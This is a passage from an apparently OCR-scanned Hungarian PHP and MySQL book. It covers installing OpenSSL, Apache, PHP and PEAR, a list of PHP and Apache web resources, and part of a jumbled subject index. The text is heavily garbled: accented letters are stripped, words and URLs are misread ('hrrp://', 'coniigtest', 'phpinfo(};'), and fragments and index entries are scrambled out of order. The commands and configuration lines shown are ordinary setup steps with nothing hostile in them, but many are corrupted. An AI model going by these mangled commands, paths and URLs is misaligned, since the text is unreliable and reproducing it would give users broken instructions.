ll
.lconfig --prefix=lusrllocallssl
tar xvf -
625
# make
# make test
# make install
Ezt kveten konfigurljuk az Apache-t a fordtshoz. Az --enable-so konfigurcis bellts teszi lehetv a dinami
kus megosztott objektumok (DSO), az
--enable-ssl
rugalmassga rdekben az internetszolgltatk s a csomagokat kiad cgek szmra ersen ajnlott a DSO funkci hasznla
ta. Megjegyezzk azonban, hogy az Apache nem minden platforrnon tmogatja a DSO-t.
# cd
.. /httpd-2.2.9
# SSL_BASE=../openssl-0.9.8h \
./configure
--prefix=/usr/local/apache2
--enable-so
--enable-ssl
Before you install the package you now should prepare the SSL
certificate system by running the 'make certificate' command.
For different
(existing cert)
[KEY=/path/to/your.key]
(default)
or ALGO=DSA to select
&
rse@engelschall.com
www.engelschall.com
+---------------------------------------------------------------------+
Most mr ltrehozhatunk egyni tanstvnyt. Ehhez meg kell adni cmnket, cgnk adatait, illetve nhny tovbbi dolgot.
A kontaktadatoknl rdemes a valdi adatokat megadni. A tbbi krdsnl az alaprtelmezett vlaszok is tkletesen megfelelnek:
configuration files
626
35. fejezet
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/bin/apachectl start
Most pedig ellenrizzk, hogy az Apache s a PHP mkdik-e! Ahhoz azonban, hogy a konfigurcihoz hozzadhassuk
a PHP tpust, szerkeszteni szksges a httpd. conf fjlt.
httpd.conf
addtype
llomnyunkat az /usr l
Ezzel eljutottunk odig, hogy megnzhetjk, vajon mkdik-e Apache szervernk. Elszr is indtsuk el a kiszolglt SSL
tmogats nlkl, hogy felll-e! Ezt kveten ellenrizzk a PHP tmogatst, s lltsuk le, majd indtsuk el a kiszolglt be
kapcsolt SSL tmogatssal, hogy meggyzdhessnk rla, minden mkdik-e!
A coniigtest utastssal ellenrizzk, hogy a konfigurci megfelelen lett-e belltva:
t cd /usr/local/apache2/bin
t . /apachectl coniigtest
Syntax
OK
./apachectl start
./apachectl start:
httpd started
Ha minden jl ment, az A. l brn lvhz hasonlt fogunk ltni, amikor bngszvel kapcsoldunk a kiszolglhoz.
Itworks!
test.php
fjlt, benne
az
si tvonal a korbban vlasztott knyvtreltagtl (prefix) fgg. Ezt a httpd.conf fjlban vltoztathatjuk meg:
<?php phpinfo();
?>
wto---=
627
.,.
'::':?;
::.
Az SSL mkdik
Apache 2.2 alatt pusztn annyit kell tennnk az SSL bekapcsolshoz, hogy a httpd.conf fjlban a httpd-ssl.conf
fjira vonatkoz szably ell eltvoltjuk a megjegyzs jelet.
Az albbi sor helyett:
# Include conf/extra/httpd-ssl.conf
ez szerepeljen a httpd. conf fjlban:
Include conf/extra/httpd-ssl.conf
Szmtalan belltst megvltoztathatunk a httpd-ssl.conf fjlban is; tovbbi informcirt olvassunk bele
a http://httpd.apache.org/ docs/2.2/ mod/ mod_ssl.html oldalon elrhet Apache-dokumentcibal
A konfigurcis vltoztatsok utn egyszeren lltsuk le, majd indtsuk el a kiszolglt:
# /usr/local/apache2/bin/apachectl stop
# /usr/local/apache2/bin/apachectl start
Prbljuk, hogy mkdik-e; ehhez kapcsoldjunk bngsznkkel a kiszolglhoz, s az albbiakat begpelve vlasszuk ki
a https protokollt:
https://szervernk.domainnk.hu
vagy
http://xxx.xxx.xxx.xxx:443
Ha minden rendben van, a kiszolgl elkldi a tanstvnyt a bngsznek, hogy biztonsgos kapcsolatot hozzon ltre. Ez
arra kszteti a bngszt, hogy elfogadtassa velnk a st magunk ltal alrt tanstvnyt. Ha olyan tanstvnyrl lenne sz,
amelyet a bngsznk ltal megbzhatnak tekintett tanst szervezet lltott volna
Jelen esetben mi hoztuk ltre s rtuk al sajt tanstvnyunkat. Egyelre nem kvntunk valdi tanstvnyt beszerezni, mivel
most mg csak arrl szeretnnk megbizonyosodni, hogy minden megfelelen mkdik.
Ha Internet Explorert vagy Firefoxot hasznlunk, lakat ikont lthacunk az llapotsoron. Ez jelzi, hogy biztonsgos kapcsolat
jtt ltre. A Firefoxban hasznlt ikont az A.3 brn lthatjuk; a lakat bngsznk -jobb vagy bal- als sarkban jelenik meg.
www.googlo.com
A.3 bra: A bngszk lakat ikont megjelentve jelzik, hogy az ppen megtekintett oldal SSL kapcsolaton keresztl jtt.
A teleptett PHP modulok megosztott objektumknt hasznlathoz nhny tovbbi lpsre van szksg.
Elszr is msoljuk a ltrehozott modult a PHP extensions knyvtrba, ami minden bizonnyal az
/u sr/local/lib/php/extensions
extension name.so
628
35. fejezet
Megjegyzs: A PHP 5.3-as verzija ta nem tmogaa a Windows 2000-nl rgebbi Windows opercis rendsureket;
a PHP 5.3 csak a Windows 2000, a Windows Server 2003, a Windows Server 2008 s a Windows Vista (s termszetesen
az ezeknl jabb) opercis rendszert tmogaa.
Lass internetkapcsolat esetn rdemes lehet a prograrnak CD-n lv verziit telepteni, m azok a legfrissebbnl egy vagy
akr tbb verzival is rgebbiek lehetnek.
A
629
Az alapvet Windows-parancsokhoz tartoz, futtathat fjlok, pldul a forrnat. exe knyvtra automatikusan megta
llhat a PATH vltoznkban, gy elg egyszeren begpelni azt, hogy forma t. Hogy ugyanilyen knyelmesen jrhassunk el
a MySQL parancssori eszkzkkel is, hozz kell adni azokat ehhez a vltozhoz.
Kattintsunk a Start gombra, s nyissuk meg a Vezrlpultot! Kattintsunk dupln a.System" gombra, majd menjnk az "Ad
vanced" (Specilis) flre! Ha az "Environment Variables" (Krnyezeti vltozk) gombra kattintunk, rendszernk krnyezeti
vltozit megjelent prbeszdablak nylik meg. Ha dupln kattintunk a PATH-ra, szerkeszthetjk a vltoz tartalmr.
Tegynk pontos vesszt az aktulis elrsi tvonal vgre, hogy elvlasszuk vele az j bejegyzst az elztl; majd gpeljk
be a c: \mysql\b in elrsi tvonalat! Az OK gombra kattintssal eltroljuk ezt a kiegsztst a gp rendszerler adatbzi
sban (registry). Szmtgpnk kvetkez jraindtsa utn elg lesz a mysql-t begpelni, nem kell kirni azt, hogy C:\
mysql\bin\mysql.
..
aiDwycatamcdfy,,.-,ar
rHTlP5e'wr2.2.9.Toan,ddiNat.
Th!!listllloiiDn
A telepts tpust. A Complete, azaz teljes telepts kivlasztst ajnljuk, de ha egyes komponenseket, pldul a dokumentcit ki szeretnnk hagyni, az egyni (Custom) teleptse is vlaszthatjuk.
A knyvtrat, ahova az Apache-t teleptjk. (Az alaprtelmezert lehetsge a C:\Program Fil es\Apache
Software
Foundation\Apache2 . 2.
630
35. fejezet
Vlaszkm az A.l brn ltharhoz hasonl, dvzl oldalnak kell megjelennie. Ha semmi sem trrnik, vagy hibt kapunk,
nzzk meg a logs knyvtr error.log fjljt! Ha a szmrgp nem rendelkezik inrernetkapcsolattal, a fenti helyett
hasznljuk az albbi URL-t:
http:/!127.0.0.1/
a msik pedig a knyvtrak gyjtemnye (pecl-5. 2. 6-Win32. zip vagy ehhez hasonl).
Elszr is csomagoljuk ki a ZIP fjlokat egy neknk tetsz knyvtrba! A megszokott helye ennek a knyvtrnak a c:\
php,
A f knyvtrban ltharunk egy php. exe s egy php5ts.dll nev fjlt. A PHP CGI-knt futtatshoz van szks
gnk ezekre a fjlokra. Ha viszone inkbb SAPI modulknt futtatnnk a PHP-t, a webszerverhez megfelel DLL fjlt
kell hasznlnunk, ami jelen esetben a php5apache2 _2.dll.
A SAPI modulok gyorsabban s knnyebben biztonsgoss tehetk; a CGI verzi pedig lehetv teszi, hogy parancs
sorbl futtassuk a PHP-t. Megint csak rajrunk mlik, hogy melyik lehetsget vlasztjuk
2.
lltsuk be a php.ini konfigurcis fjlt! A PHP kt elre elksztett fjlt tartalmaz: php.ini-dist s php.
ini-recornrnended. A
hasznlt kiszolglkon pedg a php.ini-recornrnended vltozatot javasoljak. Msoljuk le a neknk megfelel llo
mnyt, majd nevezzk t php.ini-re!
3.
Szerkesszk php.ini fjlunkat! Szmtalan belltst tartalmaz, sokkal kzlk egyelre nem szksges foglalkozni.
A most mdostandk az albbiak:
Vltoztassuk meg az extension_dir drektvt, hogy arra a knyvtrra mutasson, amelyikbe a bvtmnyeink
DLL fjljait pakoltuk! Szoksos telepts esetn ez a C:\PHP\ext. gy php.ini fjlunkba ez kerl:
extension_dir = c:/php/ext
lesz.
Vlasszuk ki a futtatand bvtmnyeked Azt javasoljak, hogy ennl a pontnl csak arra figyeljnk, hogy a PHP
mkdjn; a bvtmnyeket akkor is hozzadhatjuk majd, amikor tnylegesen szksg lesz rjuk. Bvtmny hoz
zadshoz nzzk meg a"Windows Extensions" alatti listt! Olyan sorokat fogunk itt ltni, minr az
;extension=php_pdf.dll
E bvtmny bekapcsolshoz egyszeren tvoltsuk el a sor elejrl a pontosvesszt ( kikapcsolshoz pont ennek
ellenkezjt tegyk)! Ne feledkezznk meg rla, hogy ha a ksbbiekben tovbbi bvtmnyeket adunk a PHP
hez, a php. ini fjl mdostsa utn jra kell indtani a webszervert ahhoz, hogy a vltozsok rvnybe lpjenek!
Knyvnkben a php_pdflib.dll, a php_gd2.dll, a php_imap.dll s a php_rnysqli.dll bvtmnye
hasznljuk.Tvoltsuk el ezen sorok ell a ponrosvesszd Elfordulhat, hogy a php_rnysqli.dll hinyzik. Eb
ben az esetben rjuk be az albbi sort:
extension=php_rnysqli.dll
Ha NTFS fjlrendszert hasznlunk, ellenrizzk, hogy a kiszolgl olyan felhasznlknt fut, amely jogosultsggal br
php.ini
fjlunk olvassra!
PHP
. 631
hozzadsa Apache-konfigurcinkhoz
Elfordulhat, hogy szerkeszteni kell az Apache egyik konfigurcis fjljt. Nyissuk meg kedvenc szerkesztnkben a httpd.
llomnyt! A fjlt ltalban a c:\Program Files\Apache Software Foundation \Apache2.2\conf\
knyvtrban talljuk. Keressk meg az albbi sorokat:
conf
Ha nem talljuk ezeket, rjuk be ket a fjlba, mentsk el azt, majd indtsuk jra Apache kiszolglnkat!
Munknk ellenrzse
A kvetkez lps webszervernk elindtsa. Ezt kveten meggyzdhetnk arrl, hogy a PHP mkdik-e. Hozzuk ltre
a test.php fjlt, s rjuk bele az albbi sort:
<?
?>
phpinfo(};
http://localhost/test.php
vagy
http://ide-kerul-az-ip-cimunk/test.php
Ha az A. 2 brn lthathoz hasonl kpernyt kapunk, biztosak lehetnk benne, hogy a PHP mkdik.
A PEAR teleptse
A PHP5-nek rsze a PHP Extension and Application Reposirory (PEAR) csomagtelept kszlet. Ha Windowst hasznlunk,
menjnk a parancssorba, s gpeljk be ezt:
c:\php\go-pear
A go-pear kd nhny egyszer krdst tesz fel arra vonatkozan, hova szetetnnk telepteni a csomagteleptt s az
ltalnos PEAR osztlyokat, majd letlti s telepti azokat szmunkra. (Linux alatt erre az els lpsre nincs szksg, de a tele
ptsi folyamat tbbi rsze ugyanaz lesz.)
Ennl a pontnl a PEAR csomagtelept teleptett vltozatval, illetve az alapvet PEAR knyvtrakkal kell rendelkeznnk.
Ezt kveten a csomagokat egyszeren a
pear install csomag
utastst begpelve kapjuk meg. Hogy lssuk, eddig mit teleptettnk, rjuk be az albbi parancsot:
pear list
A MySQL adatbzis elrse a webrl PHP-vel cm ll. fejezetben emltett DB csomagot is hasonlan kell telepteni:
pear install
MDB2
utastst hasznlhatjuk.
Ha a fent lertak valamilyen okbl nem mkdnek nlunk, ajnlott a PEAR csomagokat kzverlenl letlteni. Ehhez menjnk a http:/ /pear.php.net/packages.php oldalra!
Innen megkereshetjk a klnbz csomagokat. Ebben a knyvben tbbek kzte a Mail_Mime csomagot hasznljuk.
Menjnk ennek oldalra, majd a "Download Latest" (Legfrissebb verzi letltse) gombra kattintva tltsk le a csomagot! A le
tlttt llomnyt ki kell csomagolni, s az include_path direktvban meghatrozott helyre kell pakolni. Kell, hogy legyen
c:\php\pear vagy hasonl knyvtrunk. Ha sajt kezleg tltnk le csomagokat, ajnlott azokat a PEAR gykrknyvtr
ba helyezni. A PEAR megszokott struktrval rendelkezik, ezrt ajnlott a dolgokat a szoksos helykre pakolni - oda, ahova
a telept is tenn azokat. A Mail_Mime csomag pldul a Mai! rszhez tartozik, gy ebben a pldban a c:\php\pear\
Mai l knyvtrba pakolnnk azt.
632
35. fezer
Ezekkel nem foglalkozunk ebben a fggelkben, konfigurlsukrl a MySQL s a PHP weboldalain- hrrp://www.mysql.com,
ilietve hrrp://www.php .net- tallunk informcit.
B fggelk
Webes forrsok
Ebben a fggelkben az interneten elrhet, szmtalan forrs kzl emelnk ki nhnyat. Ezeken a weboldalakon egyebek
kzte oktatanyagokat, cikkeket, hreket s minta PHP kdokat tallunk. Az itteni felsorols nem lehet tbb, mint egy szk
vlogats a vilghln elrhet szmtalan forrsbl. Annl termszetesen sokkal tbb oldal foglalkozik a tmval, mintsem itt
lehetsgnk lenne mindet felsorolni, radsul gombamd szaporodnak, ahogy a PHP s a MySQL hasznlata s npszers
ge egyre nvekszik a webfejlesztk krben.
Az itt felsorolt forrsok egy rsze nem angol, hanem nmet, francia vagy egyb nyelven rhet el. Hogy az ilyen webes for
rsokat angol nyelven olvashassk azok, akiknek ez az anyanyelve, olyan fordtalkalmazs hasznlatt ajnlja a szerz, mint
amilyen a http://www.systransoft.com oldalon rhet el.
Forrsok
PHP-rl
PHP.Net- http://www. php.net-A PHP eredeti oldala. Innen tlthetjk le a PHP binris s forrsverzijt, illerve az online
kziknyvet. Az oldalon tallzharunk a levelezlistk archvumban, s naprakszek maradharunk a PHP-s hrek tern.
Zend.Com-http://www.zend.com- A PHP-t mkdtet Zend motor forrsa. A portloldalon frumokat, cikkeket,
oktatanyagot, valamint hasznlatra ksz mintaosztlyok s -kdok adathzisr tallj uk.
PEAR- http://pear.php.net-A PHP Extension and Application Repository oldala. Ez a PHP-bvtmnyek hivatalos
oldala.
PECL-htcp:// pecl.php.net -A PEAR tesrvroldala. A PEAR PHP-ben, a PECL (amit ..pik!" -nek szoks ejteni) ugyan
akkor C-ben megrt osztlyokkal dolgozik. A PECL osztlyokat esetenknt nehezebb telepteni, m jellemzen gazdagabb
funkcionalitssal rendelkeznek s szinte mindig hatkonyabbak, mint PHP alap prjaik.
PHPCommunity- http://www.phpcommunicy.org/- A PHP-kzssg egy viszonylag j oldala.
phplarchitect-http://www.phparch.com- PHP magazin. Az oldalon ingyenes cikkeket olvasharunk, illerve elfizethernk
a magazin PDF- vagy nyomtatott vltozatra.
PHP Magazine-http://www.phpmag.net/ -Egy msik PHP magazin, amely- az elbbihez hasonlan -elektronikus s
nyomtatott formban is elrhet.
PHP Wizard.net- http://www.phpwizard.net- Szmtalan klassz PHP-s alkalmazs, pldul a phpChar s a phpiRC
forrsa.
PHPMyAdmin.Net- http://www.phpmyadmin.net/-A MySQL-hez rt npszer, PHP alap webes fellet (front end)
oldala.
PHPBuilder.com-http://www.phpbuilder.com- PHP-oktatanyagok (rutorial) portlja. Az oldalon szinte mindenhez
tallunk anyagot. Frumot is mkdtet, ahol feleehetjk krdseinket.
DevShed.com- http://www.devshed.com-Portltpus oldal, ahol kivl oktatanyagokat tallunk a PHP-rl,
a MySQL-rl, a Perlrl s ms fejlesztnyelvekrL
PX-PHP Code Exchange- http://px.sklar.com- Kivl kiindulpont. Szmtalan mintakdot s hasznos fggvnyt tal
lunk itt.
The PHP Resource- http://www.php-resource.de-Oktatanyagok, cikkek s kdok kivl forrsa. Az egyeclen.,probl
ma" az oldallal, hogy nmerl rdott. A mintakdokat mindazonltal nmettuds nlkl is meg fogjuk rteni.
WeberDev.com-http:/ /www.WeberDev.com- A korbban Berber's PHP sample page (Berber PHP mintaoldala) nven
ismert oldal kintte magt, immr oktatanyagokat s mintakdokat is szp szmmal tartalmaz. A PHP s a MySQL felhasz
nlit clozza, kiemelten fogWkozik a biztonsggal s az adatbzisokkal.
HotScripts.com-http://www.hocscripts.com- Kategrikba rendezett kdok kivl gyjtemnye. Az oldal klnbz
nyelven (PHP, ASP.NET s Perl) rt kdokat tartalmaz. A gyakran frisstett oldalon nagyszer PHP kdokat cal.lunk. Ne
hagyjuk ki, ha kdokat keresnk!
634
35. fejezet
PHP Base Library- http://phplib.sourceforge.net- Nagylptk PHP projektek fejleszti lral ltogatorr oldal. Szm
talan eszkzt knl a munkamenet-kezelsnek a knyvben ltottl eltr megkzeltshez, sablonok hasznlathoz, illetve az
adatbzis-absztrakcihoz.
PHP Center- hrrp://www.php-center.de- Egy msik nmet portl, ahol egyebek kzrr oktatanyagokat, kdokat, tippe
ket, trkkket s reklmokat tallunk.
PHP Homepage- http://www.php-homepage.de- Mg egy nmet PHP oldal kdokkal, cikkekkel, hrekkel stb. Gyors
referencia-tmutatval is rendelkezik.
PHPindex.com- http://www.phpindex.com- Ignyes francia PHP portl tmntelen, PHP-hez kapcsold tartalommal.
Az oldalon egyebek kzrr hreket, gyaktan ismtelt krdseket, cikkeket, llsajnlatokat tallunk.
WebMonkey.com- http://www.webmonkey.com - Rengeteg webes forrssal, valdi projektekre pl oktatanyagokkal,
mintakdokkal rendelkez oldal. Oldaltervezssel, programozssal, back end alkalmazs fejlesztsvel, multimdis tmkkal
stb. egyarnt foglalkozik.
PHP Club- http://www.phpclub.net- Kezd PHP-felhasznlknak szmtalan informcit knl oldal. Hreket, knyv
ajnlsokat, mintakdokat, frumokat, gyaktan ismtelt krdseket s kezdknek kszlt oktatanyaget tallunk irr.
PHP Classes Repository- hrrp://phpclasses.org- PHP-ban rt, ingyenesen hasznlhat osztlyok terjesztst clz oldal.
Ha fejlesztnk valamit, vagy kdunk osztlyokbl ll, akkor semmikppen sem szabad kihagyni ezt az oldalt! Kivl keresvel
rendelkezik, gy gyorsan megtallhatjuk a neknk kell dolgokat.
PHP Resource Index- http://php.resourceindex.com- Kdok, osztlyok s dokumentcik portloldala. A legvonzbb az
oldalban, hogy mindent szpen kategrikba rendeztek, amivel rengeteg idt takartharunk meg.
PHP Developer- http:/ /www.phpdeveloper.org- PHP-val kapcsolatos hreket, cikkeket s oktatanyagokat knl, jabb
portl.
Evil Walrus- http://www.evilwalrus.com- PHP kdokat tartalmaz, ignyes kinzet portl.
SourceForge- http://sourceforge.net- Nylt forrskd forrsok kiterjedt gyjtemnye. A SourceForge nem csupn
a hasznos kdok felkutatsban segt, hanem nylt forrskd fejlesztk ltal hasznlhat CVS-hez, levelezlistkhoz s g
pekhez is hozzjuthatunk.
Codewalkers- hrrp:/ l codewalkers.com/ - Cikkeket, knyvajnlkat s oktatanyagokat tartalmaz, illetve nagyon j
PHP-versenyt szervez oldal. j tudsunkkal vonz ajndkokat nyerhetnk a versenyben, amit kthetente hirdernek meg az
oldalon.
PHP Developer's Network Unilied Forums- http:/ /forums.devnetwork.net/index.php-PHP-hoz kapcsold tmk
fruma.
PHP Kitchen- http://www.phpkitchen.com/- Cikkek, hrek s tmogats a PHP-hoz.
Postnuke- hrrp://www.posmuke.com/- Gyakran hasznlt PHP-s tartalomkezel rendszer.
PHP Application Tools- http://www.php-tools.de/- Hasznos PHP osztlyok gyjtemnye.
Codango- http://www.codango.com/php/- PHP-s webes alkalmazsok, knyvtrak, kdok, hoszting, oktatanyagok stb.
rtkes forrsa.
www
Forrsok az Apacherl
Apache Sofrware- http://www.apache.org- A kiindulpont, ha forrsokat vagy binris fjlokat kvnunk letlteni az Apache
web:Zerverhez. Az oldalon online dokumentcit tallunk.
Apache Week- http://www.apacheweek.com- Hetente megjelen online magazin, amely Apache szervert furratk vagy
Apache szolgltatsokat hasznlk szmra tartalmaz fontos informcikat.
Apache Today- hrrp://www.apachetoday.com- Naponta frissl hr- s informciforrs az Apache-rl. Csak regisztrlt
felhasznlk tehetnek fel krdseket.
Webes forrsok
635
Webfejleszts
Philip and Alex's Guide to Web Publishing- http://philip.greenspun.com/panda/- Szrakoztat, knnyed hangvtel t
mutat a szaftverfejleszts webes fejlesztsekre alkalmazhat rszeihez. Egyike azon kevs knyveknek, amelyeknek a trsszer
zje egy k utya.
Trgymutat
Szimblumok
===(azonos mveletijel) 28
& (bitmvelerijel) 26
<<(bitmveletijel) 26
-- (cskkents mvelerijel) 24
==(egyenl mvelerijel) 28
==(egyenl sszehasonlt mvelerijel) 25
=(rtkad mvelerijel) 23
?:
(hromoperandus mvelerijel) 27
@ (hibakezel mveletijel) 27
& (hivatkozs mveletijel) 25
. (karakterlnc-sszefz mveletijel) 19
- (kivons mveleti jel) 23
! (logikai mveletijel) 26
&& (logikai mveletijel) 26
%(maradkkpzs mveletijel) 23
!==(nem azonos mveletijel) 28
!=(nem egyenl mveletijel) 28
++(nvels mveletijel) 24
+ (sszeads mveletijel) 23
!=(sszehasonlt mveletijel) 25
!==(sszehasonlt mveletijel) 25
<(sszehasonlt mveletijel) 25
<=(sszehasonlt mveletijel) 25
==(sszehasonlt mveletijel) 25
===(sszehasonlt mveletijel) 25
-= (sszetett rtkad mveletijel) 24
. =(sszetett rtkad mvelerijel) 24
l=(sszetett rtkad mveletijel) 24
%=(sszetett rtkad mveletijel) 24
+=(sszetett rtkad mveletijel) 24
l (oszts mveletijel) 23
+(uni mveletijel) 28
, (vessz mvelerijel) 27
A,
about.php fjl (Tahuayo alkalmazs) 571
abszolt elrsi tvonalak 41
absztrakt osztlyok 126
ACID-kompatibilis tranzakcik 210
Acrobat weboldal 543
adattvitel
adatbzis replikci 206
adatbazis_fuggvenyek.php fjl
MLM alkalmazs 480
PHPBookmark alkalmazs 393
Warm Maii alkalmazs 453
webes frum 519
alkalmazs) 453
rekordok
trlse 179
relcis adatbzisok 143
replikci 206
smk 143
adatbzisok 141
adatok
beszrsa 165
betltse fjlokbl 209
visszakeresse 167
belltsa (online hrlevelek) 480
biztonsg 198
jelszavak 198
webes krdsek 199
adatbzis-optimalizls 205
Book-O-Rama
adat_ellenorzo_fuggvenyek.php fjl
ltrehozsa 165
tblk SQL kdja 166
DDL (Data Definition Language) 165
DML (Data Manipulation Language)
165
elnyei 141
futsidej hibk 382
helyrelltsa 206
informcigyjts 199
jelszavak
titkostsa 198
jogosultsgi rendszer 193
columns_priv tbla 197
user tbla 194
kapcsolatok 143
egy a sokhoz tpus 143
egy az egyhez tpus 143
sok a sokhoz tpus 143
kulcsok
elsdleges kulcsok 142
idegen kulcsok 143
ltrehozsa MySQL-lel 151
MySQL 193
biztonsgi mentse 242
db tbla 195
eredmenyek.php kd 182
admin_felhasznalo_ellenorzese() fggvny
486
adminisztrtori funkcik 444
admin.php fjl (online kosr alkalmazs)
422
Adobe
tblk 205
PostScript 541
tervezs 205
weboldal 543
638
Trgymutat
ajnls
knyvjelzk 392
megvalstsa 416,418
ajanlas.php fjl (PHPBookmark alkalmazs)
ltrehozsa 109
rvireli mdok
FTP 317
auclirls 241
auto_append_file (php.ini fjl) 95
a megnyitsi md 41
aurocommit md 210
a+ megnyitsi md 41
auroload()fggvny 127
Ajax 599
automatikus elllrs
ajaxSzerverIdo.html 606
anomlik
393
azonosrk 20
Apache
erforrsok 634
PHP-ben 271
futtatsa 626
alkalmazsok
Bob autalkatrszek 12, 13, 135
Book-O-Rama alkalmazs
kpek 336
auro_prepend_file (php.ini fjl) 95
eredmnyazonosrk 186
kpazonosrk rrlse 335
azonos mveleri jel 59
konfigurcik
PHP teleptsek 631
sma 149
teleptse
befoglal kererek
dokumentci 375
intelligens zenerkld rlap
ltrehozsa 73
kezdhet kd rsa 371
koorclinrk 340
tmb tartalma 340
beillesztett_fuggvenyek.php fjl
weboldala 622
ML M alkalmazs 480
webszerver
fggvnyknyvrrak 374
knyvtrstruktrk 373
MySQL 150
tagolsa 373
kd tesztelse 3 77
ramkimaradsok 243
megvalstsa 370
architektra
naplzsa 241
nvrelen bejelentkezs (FTP) 315
Warm Maii alkalmazs (e-mail kliens)
460
bejelentkezes_ellenorzese() fggvny 486
nemzetkziesrse 5
optimalizlsa 376
archvumok
bejelentkezes.php fjl
PHPBookmark
BUGTRAQ 297
fjlok 393
argumentumok 16, 17
prototpusok 375
array_count_values() fggvny 70
rtegek 148
szaftverfejleszts 369
tartalom 376
array_reverse() fggvny 66
tervezse 370
array_walk() fggvny 69
verzikvers 374
llandk (konstansok) 21
hibajelents 387
AL L jogosultsg 154
alralanos_felhasznalo_ellenorzese()
fggvny 486
567
asszociatv tmbk. L sd mg tmbk 57
bejrsa ciklusokkal 58
each() fggvny 58
ltrehozsa 57
list() fggvny 58
tartalmnak elrse 57
ralakrs
osztlyok karakterlncokk 129
tmbk skalris vltozkk 70
trendezs
tmbk 64
332
TrueType 336
beviteli adatok
ellenrzse 184, 384
szrse 184
binris fjlok teleptse 622
MySQL
622
shuffie() fggvny 65
bitmveleti jelek 26
attribrumok 109
fellirsa 114
bizalmas adatok
trolsa 282
Trgymutat
biztonsg 245
adatbzisok 198, 260
auditls 241
hitelests 237
hitelesrs 259
jelszavak 198
crackerek 227
szerverek 260
fenyegetsek 232
ltrehozsa 165
sma 149
hitelests 237
jelszavak 237
knyvtrak 298
bookdisplayfunctions.php fjl (Tahuayo
alkalmazs) 571
Book-O-Rama alkalmazs
naplzs 241
DMZ 261
bvtmnyek
fjlok
titkosts 238
betltse 363
tzfalak 242
break utasts 38
biztonsgi fenyegetsek
crackerek 248
felgyelet 246
hardvertolvajok 248
adatmdosts 234
hitelesrs 232
adarveszts 233
hozzfrs-szablyozs megvalsrsa
266
tmads 234
DoS (Denial of Service) rmads 234
hibi
C,Cs
jelszavak 237
letagads 235
szaftverhibk 235
adatbzisok 206
weboldalak 276
ArchiverJ 242
jelszavak 245
bejelentkezsek 316
vdkarakterekkel 252
kdjaink szervezse 253
PGP (Pretty Good Privacy) 283
.php fjlokhoz val hozzfrs korltozsa
254
rosszindulat kd befecskendezse 247
letltsek 317
ciklusok 35
break utasts 38
do...while ciklusok 37
for ciklusok 37
foreach ciklusok 37
iterci 127
asszociatv tmbk 58
trhelyszolgltats 258
Internet 278
rendszerek 279
while ciklusok 36
cmkk (rag)
PHP cmkk (tag) 14
titkosts 283
ASP stlus 15
ttanzakcik 277
rvid stlus 14
protokollvermek 280
SCRIPT stlus 14
tmrts 281
Internet 278
rendszerek 279
blokkok 32
XML stlus 14
require() utasts 91
zr/nyit (XML) 565
cm szerinti paramtertads 102
closedir() fggvny 299
b megnyirsi md 41
Codewalkers weboldal
kivtelkezels 135
bngszk
634
639
640
Trgymutat
rs 40
continue utastsok 38
megnyitsa 40
destruktorok 110
fopen() fggvny 41
megnyitsi mdok 40
Devshed weboldal
biztonsg 231
diagram
633
egyed-kapcsolat 143
auditls 241
weboldalak) 226
dinamikus tartalom 16
date() fggvny 16
fggvnyek 16
direktvk
hitelests 237
furtatsi 38
jelszavak 237
magic_quotes_gpc 282
naplzs 241
magic_quotes_runtime 282
osztlyok 601
titkosts 238
tzfalak 242
hitelests 232
kockzatai 227
crackerek 227
dokumentci
hardverhiba 228
D
Data Definition Language (DDL) 165
Data Encryption Standard (DES) 239
GD weboldala 348
dokumenrumok
szoftverhibk 228
kltsgcskkenrs 227
online katalgnsok 221
formrumkdok 321
drum s id
MySQL-ben
do...while ciklusok 37
szmolsok 328
naptrak 329
PHP-ben 321
dzskerkarakter
(%)
197
rtkestse 226
termkek vagy szolgltatsok
megrendelse 223
tpusai 221
E,
each() fggvny 58
elemek 56
247
declare kezelk 215
declare vezrlsi szerkezet 38
deklarls
egyests
fggvnyek 98
karakterlncok
implode() fggvny 79
join() fggvny 79
konfigurlsa 261
Denial of Service (DoS) tmads 234, 247
egyszer fjlok 39
beolvassa 40
Trgymutat
megnyitsi mdok 40
rtkels
ellenrzs
MLM 480
karakterlncok 361
kapcsolatok 197
vltozllapot 31
elnevezs
fggvnyek 98
naplzsa 241
olvassa/rsa 382
rtkvisszaads
szoksok 371
elfordtott utastsok 189
ervenyes_felhasznalo_ellenorzes() fggvny
403
auto_append_file 95
else utastsok 32
elseif utastsok 33
S mveleti jel 26
eval() fggvny 361
lsimts
auto_prepend_file 95
634
szveg 334
elsbbsgi sorrend
mveleti jelek 29
elsdleges kulcsok (adatbzisok) 142
elvont osztlyok 126
e-mail
csatolt llomnyok 478
progex.php 305
Tahuayo alkalmazs 571
kiterjesztse 133
trlse 304
metdusok 132
exit
kezelk 215
valtozok_kiiracasa.php 385
kldse 307
oszloprtkek 204
olvassa 307
453
webes frum 519
fajlreszlecek.php fjl 302
fanezet_megjelenicese() fggvny 525
titkostsa 283
titkostsa
extract_cipusa paramter 71
fjlkezels
kivtelek 135
fjlnvkiterjesztsek
require() utasts 91
fjlok 39
adat_kikereses.php 308
adatok
133,135
felhasznl ltal meghatrozott rendezsek
tbbdmenzis tmbk 63
eredmenyek.php kd 182
egyszeru_abra.php 333
ereg_replace() fggvny 88
eregi_replace() fggvny 88
fjlkezels 135
erforrsok
lajlreszletek.php 302
adattpusok 20
rtkad mveleti jelek 20,23
cskkents mveleti jelek 24
egyenlsgjel (
) 18
belltsa 462
feleltse 293
kivlasztsa 467
biztonsg 295,298
FTP (File Transfer Protocol) 318
crlse 464
felhasznaloi_hicelesices_fuggvenyek.php fjl
rtkek visszaadsa 24
hibakeress 298
HTML 293
megjelenitse 297
rtkek
alaprtelmezett
adatbzis-optimalizls 205
hozzrendelse vltozkhoz 20
httpd.conf 626
oszlopok
rsa 40
tblk 142
konyvcar_tallozas.php 298
tmbelemek 56
ltrehozsa 304
visszaadsa
megnyitsa 40
fopen() fggvny 41
megnyirsi mdok 40
felhasznaloi_hicelesites_fuggvenyek.php
knyvcr
hicelesicett_felhasznalo_ellenorzese()
fggvny 461
felhasznli jogosultsgok
adatbzis biztonsga 198
felhasznaloi_menu_megjelenitese() fggvny
403
felhasznli nevek 392
felhasznlk
biztonsgos cranzakcik 278
641
642
Trgymutat
hitelests 265
hozzszlk 519
megoldsok 517
hozzfrs-szablyozs megvalstsa
266
frum alkalmazs
fastruktra 518
forum_fuggvenyek.php fjl (webes frum)
519
findstr.exe 256
fiok_beallitas_megjelenitese() fggvny
FreeType knyvtr
464
letltse 332
frissts
